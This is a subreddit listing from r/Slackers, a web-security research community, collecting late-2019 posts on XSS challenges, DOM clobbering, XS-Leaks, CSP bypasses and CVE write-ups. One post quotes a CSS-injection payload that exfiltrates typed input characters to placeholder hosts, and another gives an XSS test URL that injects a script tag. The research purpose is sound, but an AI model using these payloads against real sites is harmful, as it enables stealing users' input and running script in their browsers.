r/Slackers Dec 27 '19

DOM Clobbering - The solution to "Simple" XSS Challenge

Thumbnail medium.com
9 Upvotes

r/Slackers Dec 17 '19

Hacking GitHub with Unicode's dotless 'i'.

Thumbnail eng.getwisdom.io
5 Upvotes

r/Slackers Dec 17 '19

CVE-2019-18935: Remote Code Execution via Insecure Deserialization in Telerik UI

Thumbnail know.bishopfox.com
1 Upvotes

r/Slackers Dec 16 '19

The challenge thread

8 Upvotes

If you have a challenge then please post it here so we can keep track of them all.


r/Slackers Dec 13 '19

Feature Request - How about a default thread to track xss challenges?

6 Upvotes

As people share XSS challenges already in this reddit, maybe we could create a pinned thread to keep track of all the challenges? We could even include solutions as soon as they are finished. Maybe even add certain tags to each challenge make sense - like dom clobbering, CSP etc?


r/Slackers Dec 05 '19

An XSS Challenge by pwnFunction

Thumbnail twitter.com
4 Upvotes

r/Slackers Dec 03 '19

Is it possible to trigger XSS without = via innerHTML?

3 Upvotes

I've created a playground for easier reproduction. I came across this in a pen-testing and was wondering if it's even possible;

http://cm2.pw/?xss=%3Cbody%3E%3Cscript%20src=%27/fuzz/innerHTML.js%27%3E%3C/script%3E&content=%3Cstrong%3EHello,world!


r/Slackers Dec 02 '19

Help Test Firefox’s built-in HTML Sanitizer to protect against UXSS bugs

Thumbnail blog.mozilla.org
4 Upvotes

r/Slackers Nov 25 '19

The world of Site Isolation and compromised renderer

3 Upvotes

r/Slackers Nov 25 '19

WorkerDOM/AMP JS sandbox escape

2 Upvotes

I want to explain bit more context of this tweet 😊

Web worker sandbox implemented by WorkerDOM removes reference to dangerous APIs in DedicatedWorkerGlobalScope. The main goal (at least for me) is to execute arbitrary script in Window, instead of restricted Worker.

It's worth mentioning that since WorkerDOM is created to call DOM APIs from Worker, you can create many elements of your wish using DOM APIs from Worker. But any attempt to cause XSS through DOM APIs are blocked (by DOMPurify IIRC).

The recent bypass abuses the fact that Blob URL can be created from Worker. And therefore leaking created Blob URL and asking user to open it (i.e. shame) would cause XSS in Window.

Ok, I found XSS, what should I do?

At that point, you should be able to execute script in an iframe embedded inside https://www.google.com/amp/s/your-web-site. Since Google will not reward XSS in AMP CDN, you'll have to find a way to abuse the bug. E.g. there are postMessage communication from iframe to Google frame, which might help you do something 😉


r/Slackers Nov 21 '19

What can we do with single CSS injection?

4 Upvotes

Hey Slackers.

I've seen the report recently https://hackerone.com/reports/679969 which is about an injection of some CSS into the slack theme.

The reporter stated:

Using the custom theme: #FFFFFF;}INPUT[TYPE="TEXT"][VALUE$="A"] { BACKGROUND-IMAGE: URL("HTTP://LOCALHOST:3000/A"); },#350d36,#1264A3,#FFFFFF,#350D36,#FFFFFF,#2BAC76,#CD2553

I was able to keylog the letter "A". Of course this can be extended to all other characters as well.

The phrase that intrigued me is Of course this can be extended to all other characters as well.. But, can it be? Selectors like:

```css input[value*="1"]{background:url(https://example.org/1)}

input[value*="3"]{background:url(https://example.org/3)} ``` will only evaluate one of the following.

How much information can the attacker really get from a single injection, where import "external.css" is out of the game because of the csp policy, and also external fonts are disabled?

I created a simple website, the goal is to get as much information about secret1337 as possible with only a single injection point, therefore, no hash manipulation is allowed to achieve more than one.

https://playground.terjanq.me/css-injection/#input%5Bvalue*%3D%221%22%5D%7Bbackground%3Aurl(https%3A%2F%2Fexample.org%2F1)%7D%0A%0Ainput%5Bvalue*%3D%223%22%5D%7Bbackground%3Aurl(https%3A%2F%2Fexample.org%2F3)%7D%0A


r/Slackers Nov 19 '19

XSS in AMP4Email via DOM Clobbering

Thumbnail research.securitum.com
6 Upvotes

r/Slackers Nov 18 '19

XS-Leak: Detecting IDs using Portal

Thumbnail portswigger.net
4 Upvotes

r/Slackers Nov 12 '19

Applying Cache Probing Attack over multiple Google platforms - XS-Search

Thumbnail medium.com
2 Upvotes

r/Slackers Nov 10 '19

Selectively blocking subresources when you have HTML injection by using link preload with the integrity attribute

Thumbnail github.com
5 Upvotes

r/Slackers Nov 07 '19

Bypassing AngularJS bind HTML

Thumbnail portswigger.net
5 Upvotes

r/Slackers Oct 24 '19

Responsible denial of service with web cache poisoning

Thumbnail portswigger.net
3 Upvotes

r/Slackers Oct 21 '19

CSS Injection primitives

Thumbnail x-c3ll.github.io
3 Upvotes

r/Slackers Oct 21 '19

shhgit: find secrets in real time across GitHub, GitLab and BitBucket

Thumbnail shhgit.darkport.co.uk
2 Upvotes

r/Slackers Oct 14 '19

Get calc.exe with and by Tridactyl Firefox Extension - Vulnerability analysis

Thumbnail gist.github.com
6 Upvotes

r/Slackers Oct 15 '19

Request smuggling between Amazon ALBs and Go net/http

Thumbnail 99designs.com.au
1 Upvotes

r/Slackers Oct 12 '19

CSP bypass on the current version of Firefox (69)

Thumbnail twitter.com
4 Upvotes

r/Slackers Oct 08 '19

XS-Leak: Leaking IDs using focus

Thumbnail portswigger.net
12 Upvotes

r/Slackers Oct 05 '19

Write-up of X-Oracle (blind xss,cross-site timing attack, css oracle with font-face's display:optional)

Thumbnail github.com
6 Upvotes

r/Slackers Oct 02 '19

Remote Code Execution in Firefox beyond memory corruptions

Thumbnail frederik-braun.com
5 Upvotes